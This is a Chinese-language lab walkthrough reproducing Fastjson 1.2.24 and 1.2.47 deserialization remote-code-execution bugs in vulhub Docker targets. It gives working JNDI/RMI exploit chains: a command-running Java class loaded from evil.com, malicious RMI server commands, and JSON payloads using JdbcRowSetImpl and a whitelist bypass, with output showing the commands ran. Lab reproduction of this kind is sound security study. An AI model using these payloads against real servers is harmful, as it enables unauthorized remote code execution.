1.2.24-rce(CVE-2017-18349-Fastjson反序列化)
对于 Fastjson 来说,该漏洞的主要问题在于其1.2.24版本中autotype特性允许任意类的反序列化,因此攻击者通过@type指定自定义类并实例化,在特定条件下调用这些类的公共方法。如果一个不受信任的 JSON 输入包含了一个指向恶意类的引用,那么当 Fastjson 尝试将其反序列化时,就可能会触发该类的方法,进而导致任意代码执行。
启动靶场漏洞环境
docker-compose up -d
查看靶机IP地址
ifconfig | grep eth0 -A 5
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ifconfig | grep eth0 -A 5
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.138 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::d3f0:b854:e38c:9f58 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:ae:ed:8a txqueuelen 1000 (Ethernet)
RX packets 12672 bytes 16229000 (15.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
阅读vulhub给出的漏洞文档
# fastjson 1.2.24 反序列化导致任意命令执行漏洞
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
参考资料:
- https://www.freebuf.com/vuls/208339.html
- http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/## 漏洞环境
运行测试环境:
```
docker compose up -d
```环境运行后,访问`http://your-ip:8090`即可看到JSON格式的输出。
我们向这个地址POST一个JSON对象,即可更新服务端的信息:
```
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
```## 漏洞复现
因为目标环境是Java 8u102,没有`com.sun.jndi.rmi.object.trustURLCodebase`的限制,我们可以使用`com.sun.rowset.JdbcRowSetImpl`的利用链,借助JNDI注入来执行命令。
首先编译并上传命令执行代码,如`http://evil.com/TouchFile.class`:
```java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
```然后我们借助[marshalsec](https://github.com/mbechler/marshalsec)项目,启动一个RMI服务器,监听9999端口,并制定加载远程类`TouchFile.class`:
```shell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
```向靶场服务器发送Payload,带上RMI的地址:
```
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/TouchFile",
"autoCommit":true
}
}
```可见,命令`touch /tmp/success`已成功执行:
![](1.png)
使用curl访问靶机8090端口
curl -v http://192.168.1.138:8090
* Trying 192.168.1.138:8090...
* Connected to 192.168.1.138 (192.168.1.138) port 8090
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 192.168.1.138:8090
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200
< Content-Type: application/json;charset=UTF-8
< Content-Length: 28
< Date: Fri, 13 Dec 2024 00:57:02 GMT
<
{
"age":25,
"name":"Bob"
* Connection #0 to host 192.168.1.138 left intact
}
我注意到响应体中的Content-Type字段值为:application/json,这意味着该接口很可能使用Fastjson
使用Yakit对请求包修改为POST请求,并尝试构造报错信息
POST / HTTP/1.1
Host: 192.168.1.138:8090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
{
"@type":"666"
}
发包后获得一个SpringBoot标准的默认错误页响应
HTTP/1.1 500
Content-Type: text/html; charset=ISO-8859-1
Content-Language: zh-CN
Date: Sat, 14 Dec 2024 13:07:34 GMT
Connection: close
Content-Length: 375
<html>
<body>
<h1>Whitelabel Error Page</h1>
<p>
This application has no explicit mapping for /error, so you are seeing
this as a fallback.
</p>
<div id="created">Sat Dec 14 13:07:34 UTC 2024</div>
<div>
There was an unexpected error (type=Internal Server Error, status=500).
</div>
<div>type not match</div>
</body>
</html>
我观察到响应末尾的:type not match,这个字段表明在解析过程中发生了类型不匹配的问题同样符合Fastjson反序列化的报错特征
使用JNDI-Injection-Exploit创建恶意RMI服务器
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'touch /tmp/0dayhp' -A 192.168.1.138
通过Yakit构造恶意请求包
POST / HTTP/1.1
Host: 192.168.1.138:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.138:1099/8rnqew",
"autoCommit":true
}
}
发包后获得请求(这里并未指定Content-Type为application/json也成功了,实际应该完整)
来到靶机/tmp目录下,在发包后可见0dayhp文件被成功创建
root@c29187891d41:/tmp# ls
hsperfdata_root tomcat-docbase.2749767184487313544.8090 tomcat.9149452117067477529.8090
root@c29187891d41:/tmp# ls
0dayhp hsperfdata_root tomcat-docbase.2749767184487313544.8090 tomcat.9149452117067477529.8090
1.2.47-rce(CNVD-2019-22238-Fastjson反序列化)
阅读vulhub给出的漏洞文档
# Fastjson 1.2.47 远程命令执行漏洞
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
参考链接:
- https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955
- https://www.freebuf.com/vuls/208339.html## 漏洞环境
执行如下命令启动一个spring web项目,其中使用fastjson作为默认json解析器:
```shell
docker compose up -d
```环境启动后,访问`http://your-ip:8090`即可看到一个json对象被返回,我们将content-type修改为`application/json`后可向其POST新的JSON对象,后端会利用fastjson进行解析。
## 漏洞复现
目标环境是`openjdk:8u102`,这个版本没有`com.sun.jndi.rmi.object.trustURLCodebase`的限制,我们可以简单利用RMI进行命令执行。
首先编译并上传命令执行代码,如`http://evil.com/TouchFile.class`:
```java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
```然后我们借助[marshalsec](https://github.com/mbechler/marshalsec)项目,启动一个RMI服务器,监听9999端口,并制定加载远程类`TouchFile.class`:
```shell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
```向靶场服务器发送Payload:
```
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
}
```![](1.png)
可见,命令`touch /tmp/success`已成功执行:
![](2.png)
更多利用方法请参考JNDI注入相关知识。
该漏洞与Fastjson-1.2.24版本反序列化漏洞原理无异,区别在发送的序列化数据需要构造绕过
使用JNDI-Injection-Exploit再次创建恶意RMI服务器
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'touch /tmp/0dayhp' -A 192.168.1.138
通过Yakit构造恶意的请求包
POST / HTTP/1.1
Host: 192.168.1.138:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.138:1099/az89vh",
"autoCommit":true
}
}
进入到靶机/tmp目录下,发包后可见0dayhp文件被成功创建
root@6b701907f00f:/tmp# ls
hsperfdata_root tomcat-docbase.2146047957427665967.8090 tomcat.5574260448438146200.8090
root@6b701907f00f:/tmp# ls
0dayhp hsperfdata_root tomcat-docbase.2146047957427665967.8090 tomcat.5574260448438146200.8090